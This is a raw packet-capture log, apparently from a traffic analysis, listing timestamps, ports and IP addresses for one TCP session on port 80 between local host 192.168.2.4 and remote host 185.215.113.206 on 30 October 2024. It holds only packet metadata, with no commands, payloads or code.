Oct 30, 2024 20:13:31.815666914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.815677881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.815793991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.815818071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.815818071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.815818071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.815848112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.815850019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.815861940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.815871000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.815887928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.815901041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.815920115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816251040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816261053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816271067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816282034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816293001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816298962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816303968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816314936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816317081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816354990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816832066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816843033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816853046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816863060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816874027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816881895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816889048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816899061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816900969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816910028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816915989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816920042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816931009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816941977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816946983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816952944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.816973925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.816986084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.817792892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817802906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817811966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817821980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817831039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817842007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817846060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.817852020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817862034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817873001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817882061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817883968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.817893028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817903996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.817907095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.817917109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.817945004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.818680048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818691969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818701029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818711042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818722010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818731070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.818732977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818743944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818748951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.818756104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.818764925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.818778992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.818803072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.846973896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847006083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847017050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847064018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.847188950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847204924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847215891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847220898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.847220898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.847225904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847237110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.847246885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.847274065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937377930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937402964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937413931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937483072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937505960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937578917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937588930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937655926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937655926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937655926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937655926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937690020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937699080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937709093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937721968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937726974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937757969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937906981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937923908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937935114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.937942028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.937974930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938091040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938102007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938112020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938124895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938133955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938136101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938144922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938149929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938182116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938523054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938534021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938544035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938558102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938570976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938575983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938585997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938585997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938597918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938604116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938610077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.938635111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.938647985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939081907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939093113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939101934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939111948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939121008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939121962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939132929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939152002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939166069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939448118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939459085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939467907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939479113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939488888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939490080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939500093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939511061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939516068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939522028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939531088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939532995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939543962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.939562082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.939587116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940186024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940196037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940206051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940217018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940224886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940227985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940238953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940248966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940253973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940259933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940269947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940272093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940280914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940289974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940299988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940300941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940311909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940320969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940326929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940331936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940341949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940347910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940363884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940378904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.940984964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.940996885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.941028118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.941045046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.968794107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.968856096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.968862057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.968993902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969003916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969012976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969072104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.969072104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.969072104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.969198942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969234943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.969322920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969332933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969341993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969352007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969358921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.969362020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969387054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.969402075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:31.969625950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:31.969660997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.059716940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.059770107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.059781075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.059859991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.059978962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.059990883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060002089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060014009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060050011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060295105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060360909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060372114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060385942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060396910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060412884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060498953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060529947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060645103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060655117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060664892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060677052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060688019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060717106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060864925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060904026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.060939074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060950994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060960054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060970068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.060976028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.061007023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.061302900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061312914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061322927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061333895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061345100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061345100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.061362028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.061384916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.061847925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061857939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061867952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061878920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061888933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.061891079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.061908007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.061923981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.062083960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062094927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062104940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062123060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.062130928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062141895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062148094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.062150955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062161922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062172890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062172890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.062185049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062196016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.062196970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062211990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062213898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.062225103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.062233925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.062256098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.063020945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063034058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063044071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063055992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063065052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.063067913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063079119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063081026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.063090086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063100100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063107014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.063112020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.063132048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.063148022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.090465069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.090538979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.090548992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.090619087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.090619087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.090619087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.090679884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.090691090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.090723991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.090826988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.090837955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.090867043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.091027975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091037989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091048956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091061115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091070890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.091072083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091089964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.091104031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.091403961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091414928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091424942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091435909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091447115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.091454029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.091473103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.091496944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.131627083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.137048006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414175987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414212942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414222956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414237976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414248943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414380074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414380074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414418936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414429903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414444923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414506912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414635897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414645910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414664030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414699078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414757013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414869070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414879084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414890051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414901972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414911985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414916992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414927959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414937973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.414942980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414962053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.414979935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:32.415350914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:32.415390015 CET	49758	80	192.168.2.4	185.215.113.206
